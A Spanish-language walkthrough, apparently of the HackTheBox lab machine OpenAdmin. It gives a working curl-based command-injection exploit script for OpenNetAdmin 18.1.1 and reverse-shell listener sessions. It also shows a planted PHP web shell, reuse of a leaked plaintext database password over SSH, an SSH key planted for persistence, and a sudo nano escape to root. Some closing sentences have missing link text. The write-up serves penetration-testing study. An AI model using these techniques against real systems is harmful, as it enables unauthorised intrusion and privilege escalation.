OpenAdmin es una máquina Linux de dificultad fácil que cuenta con una instancia de CMS OpenNetAdmin obsoleta. El CMS se explota para obtener un punto de apoyo y la enumeración posterior revela credenciales de la base de datos. Estas credenciales se reutilizan para pasar de forma lateral a un usuario con pocos privilegios. Se descubre que este usuario tiene acceso a una aplicación interna restringida. El examen de esta aplicación revela credenciales que se utilizan para pasar de forma lateral a un segundo usuario. Luego se explota una configuración incorrecta de sudo para obtener un shell de root.
Reconnaissance
Realizaremos un reconocimiento con nmappara ver los puertos que están expuestos en la máquina OpenAdmin. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.171 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 05:41 CET
Initiating SYN Stealth Scan at 05:41
Scanning 10.10.10.171 [65535 ports]
Discovered open port 22/tcp on 10.10.10.171
Discovered open port 80/tcp on 10.10.10.171
Completed SYN Stealth Scan at 05:42, 29.99s elapsed (65535 total ports)
Nmap scan report for 10.10.10.171
Host is up, received user-set (0.078s latency).
Scanned at 2025-03-07 05:41:34 CET for 30s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 30.10 seconds
Raw packets sent: 75682 (3.330MB) | Rcvd: 75480 (3.020MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.171
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache y el servicioSSH.
❯ nmap -sCV -p22,80 10.10.10.171 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 05:42 CET
Nmap scan report for 10.10.10.171
Host is up (0.079s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 105.01 ms 10.10.14.1
2 102.84 ms 10.10.10.171
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.41 seconds
Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Web Enumeration
Realizaremos una enumeración de directorios de la página web a través de la herramienta de gobuster. En el resultado obtenido, logramos encontrar 3 directorios de la página web.
Antes de acceder a esta nueva página, realizaremos a través de la herramienta de whatweb un reconocimiento inicial de las tecnologías que utiliza la aplicación web.
OpenNetAdmin proporciona un inventario de su red IP administrado por base de datos . Cada subred, host e IP se puede rastrear a través de una interfaz web centralizada habilitada para AJAX que puede ayudar a reducir los errores de rastreo. También está disponible una interfaz CLI completa para usarla en scripts y trabajos masivos.
Realizaremos una búsqueda de vulnerabilidades conocidas de OpenNetAdmin a través de la herramienta de searchsploit. En el resultado obtenido, comprobamos que la aplicación es vulnerable a Command Injectiony Remote Code Execution.
Realizaremos la misma búsqueda por Internet y también logramos encontrar vulnerabilidades para esta versión.
El exploit que hemos encontrado para lograr explotar la vulnerabilidad es la siguiente, realiza una solicitud mediante cURL en el cual a través de una serie de datos podemos conseguir una ejecución de comandos remotos RCE.
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
Explotación manual
Realizamos la explotación de la vulnerabilidad manualmente a través de cURL y comprobamos que al intentar ejecutar el comando id, en el resultado que se nos muestra confirmamos el output de la ejecución de comandos.
El siguiente paso será lograr obtener una Reverse Shell para lograr conectarnos a la máquina vulnerable. Para ello, nos pondremos en escucha para recibir la Reverse Shell.
❯ nc -nlvp 443
listening on [any] 443 ...
A través del siguiente comando, lograremos explotar la vulnerabilidad presente en OpenNetAdmin indicándole que ejecute una Reverse Shell hacia nuestro equipo.
Verificamos que finalmente logramos obtener acceso a la máquina victima con el usuariowww-data.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.171] 46856
bash: cannot set terminal process group (1300): Inappropriate ioctl for device
bash: no job control in this shell
www-data@openadmin:/opt/ona/www$
Explotación automatizada
Por otro lado, también podemos hacer la explotación a través del siguiente exploit que nos hemos encontrado en GitHub el cual realiza la explotación de la vulnerabilidad de manera más automatizada.
Comprobamos que finalmente logramos obtener acceso al sistema a través de la Reverse Shell. Al recibir la RevShell, realizaremos el tratamiento básico para lograr obtener una TTY totalmente interactiva.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.171] 46872
bash: cannot set terminal process group (1300): Inappropriate ioctl for device
bash: no job control in this shell
www-data@openadmin:/opt/ona/www$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@openadmin:/opt/ona/www$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
www-data@openadmin:/opt/ona/www$ export TERM=xterm
www-data@openadmin:/opt/ona/www$ export SHELL=bash
www-data@openadmin:/opt/ona/www$ stty rows 46 columns 230
Pivoting as jimmy user
Information Leakage
Revisando el directorio donde nos encontramos, verificamos un archivo llamado database_settings.inc.php de configuración de la base de datos. En dicho archivo, logramos obtener una contraseña en texto plano.
Probamos de comprobar si estas credenciales se reutilizan para el usuario jimmyque hemos encontrado que dispone de bash (comprobado desde el archivo /etc/passwd).
❯ sshpass -p 'n1nj4W4rri0R!' ssh jimmy@10.10.10.171
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Mar 7 04:58:48 UTC 2025
System load: 0.19 Processes: 177
Usage of /: 31.2% of 7.81GB Users logged in: 0
Memory usage: 10% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Last login: Thu Jan 2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$
Initial Access
Internal Website found
Revisando los archivos de configuración de Apache, nos encontramos habilitado una página web interna en el puerto 52846 la cual se llama internal.openadmin.htb y tiene asignado el AssignUserIDcomo joanna. Lo cual nos sugiere que quizás joanna levante este servicio.
Desde nuestro equipo atacante, dispondremos del binario de chisel el cual compartiremos a través de un servidor web con Python.
❯ ls -l chisel
.rwxr-xr-x kali kali 8.9 MB Sun Feb 16 03:43:15 2025 chisel
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
En la máquina víctima, nos descargaremos el binario compartido y le daremos los permisos de ejecución correspondientes.
A través de la máquina vícitma, indicaremos a chisel que actúe como cliente y se conecte a nuestro equipo realizando un Port Forwarding del puerto interno de la página web encontrada hacia nuestro equipo.
Gaining Access via Webshell in a Writable Web Directory
A través del usuario jimmy, comprobamos que disponemos de permisos de escritura en el directorio /var/www/internal en el cual se está levantando esta página web interna. Por lo tanto, lo que decidimos probar es en crear un archivo llamado gzzcoo.php el cual se trate de una simple web shell para utilizarla y lograr ejecutar comandos.
jimmy@openadmin:/var/www/internal$ ls -la
total 20
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 .
drwxr-xr-x 4 root root 4096 Nov 22 2019 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 2019 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 logout.php
-rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 main.php
jimmy@openadmin:/var/www/internal$ echo -e '<?php \n system($_GET["cmd"]); \n ?>' > gzzcoo.php
jimmy@openadmin:/var/www/internal$ cat gzzcoo.php
<?php
system($_GET["cmd"]);
?>
Desde nuestra máquina atacante, realizaremos la comprobación de ejecución de comandos. En nuestra primera prueba, indicamos que ejecute el comando id, confirmando que la usuaria joanna ees la que ejecuta este servidor web y hemos sido capaces de ejecutar comandos remotod.s
Nos pondremos en escucha con nc para recibir la Reverse Shell.
❯ nc -nlvp 443
listening on [any] 443 ...
Codificaremos en URL Encode la sintaxis de la Reverse Shell y utilizaremos la herramienta de cURLpara que realice la petición hacia nuestra web shelly logre ejecutar la Reverse Shell.
Comprobamos que disponemos de acceso al sistema con el usuario joanna y logramos visualizar finalmente la flag user.txt.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.171] 47666
bash: cannot set terminal process group (1300): Inappropriate ioctl for device
bash: no job control in this shell
joanna@openadmin:/var/www/internal$ whoami
joanna
joanna@openadmin:/var/www/internal$ cat /home/joanna/user.txt
7bd9************************
Realizaremos un tratamiento de la terminal para poder obtener una TTY totalmente interactiva.
Al revisar si el usuario joanna dispone de algún permiso de sudoers, nos mostraba el siguiente mensaje de error.
Posibles causas:
Falta de un entorno de sesión completo
Cuando te conectas por SSH, el sistema te asigna una sesión completa con todas las variables de entorno y permisos adecuados. En cambio, con una reverse shell, el entorno es mínimo y puede que sudo no tenga acceso a todas las configuraciones necesarias.
Limitaciones de permisos en setresuid
El error setresuid(0, -1, -1): Operation not permitted indica que sudo está intentando cambiar al usuario root, pero no tiene permiso en este entorno. Esto podría deberse a:
Un control de seguridad como seccomp o AppArmor que bloquea ciertas llamadas al sistema.
Un sistema con restricciones para shells no interactivas.
Audit Plugin de sudo fallando
El error error initializing audit plugin sudoers_audit sugiere que sudo está intentando registrar la acción, pero no puede porque la shell inversa no tiene un entorno adecuado para inicializar el módulo de auditoría.
Por lo tanto, lo que decidimos es en subir nuestra clave pública en las claves autorizadas SSH del usuariojoanna. Para ello, nos crearemos unas claves SSH en nuestro equipo de atacante y copiaremos el contenido de la clave pública generada.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519):
Enter passphrase for "/home/kali/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_ed25519
Your public key has been saved in /home/kali/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:3MgDLLifHsarN8CwqLu/oV1aNKmquqjHOVazTbHYf+M kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| |
| . . |
| . . o |
|. . o.+ o |
|.+. +o oS . |
|o o=+o+ . |
|..o+O= . |
|o+*B+o. . o |
|#B*=o. oE. |
+----[SHA256]-----+
❯ cat /home/kali/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB30SsUFMFi9+gBGbURaDWPr6LcsZ7seEWZgAtRqGLv9 kali@kali
Escribiremos en el archivo /home/joanna/.ssh/authorized_keys nuestra clave pública SSH para ganar acceso al equipo como el usuario joanna mediante SSH sin proporcionar credenciales.
Probamos de autenticarnos con el usuario joanna conectándonos mediante SSH al equipo, finalmente logramos el acceso correctamente. Ejecutaremos un export TERM=xterm para poder realizar Ctrl+L.
❯ ssh joanna@10.10.10.171
The authenticity of host '10.10.10.171 (10.10.10.171)' can't be established.
ED25519 key fingerprint is SHA256:wrS/uECrHJqacx68XwnuvI9W+bbKl+rKdSh799gacqo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.171' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Mar 7 06:00:55 UTC 2025
System load: 0.0 Processes: 186
Usage of /: 31.4% of 7.81GB Users logged in: 1
Memory usage: 11% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15
joanna@openadmin:~$ export TERM=xterm
Ahora si ejecutamos sudo -l, ya no nos muestra el mensaje de error que vimos anteriormente. Al comprobar si este usuario dispone depermisos de sudoers, nos encontramos que el usuario puede ejecutar como sudo sin proporcionar credenciales el binario/bin/nano sobre el archivo ubicado en /opt/priv.
En informática, nano (oficialmente GNU nano) es un editor de texto para sistemas Unix basado en curses. Es un clon de Pico, el editor del cliente de correo electrónico Pine. nano trata de emular la funcionalidad y la interfaz de fácil manejo de Pico, pero sin la integración con Pine.
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Ejecutaremos el comando sudo /bin/nano /opt/priv para editar el archivo con permisos de sudo.
Una vez estemos dentro del archivo con el editor nano, para poder obtener una shell como root, deberemos de presionar Ctrl+R para acceder al apartado de Read file.
joanna@openadmin:~$ sudo /bin/nano /opt/priv
Una vez estemos en el modo de Read File, presionaremos la combinación de Ctrl+X para acceder a la opción de Execute Command.
Al seleccionar esta nueva opción, comprobamos que nos permite realizar una ejecución de comandos. Esto es debido que nano tiene implementado una manera para lograr ejecutar un comando en el sistema y que el output del resultado del comando se almacene en nuestro archivo en el que nos encontramos trabajando.
Teniendo esto en cuenta, podemos aprovecharnos de esto para ganar acceso a una shell a través del siguiente comando.
reset; sh 1>&0 2>&0
Verificamos que por detrás de nano, se nos ha abierto una shell en la cual podemos ejecutar comandos. Ejecutaremos /bin/bashpara obtener una bash. Finalmente logramos visualizar la flag root.txt.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontraremos con la página por defecto que viene predeterminada con Apache.
Después de revisar en las diferentes páginas, nos encontramos en que la página web ubicada en dispone de una página de Loginla cual nos redirige a .
Al acceder a nos encontramos con la siguiente página web de OpenNetAdmin. Nos encontramos con una sesión de guest iniciada y también comprobamos que dispone de una versión v18.1.1.
Desde nuestro navegador accederemos a y comprobaremos el siguiente contenido de la página web.
Según , este mensaje se puede deber a estos motivos.
A través de la herramienta de nos encontramos la manera de explotar este binario como sudo y lograr obtener una Shell como usuario root.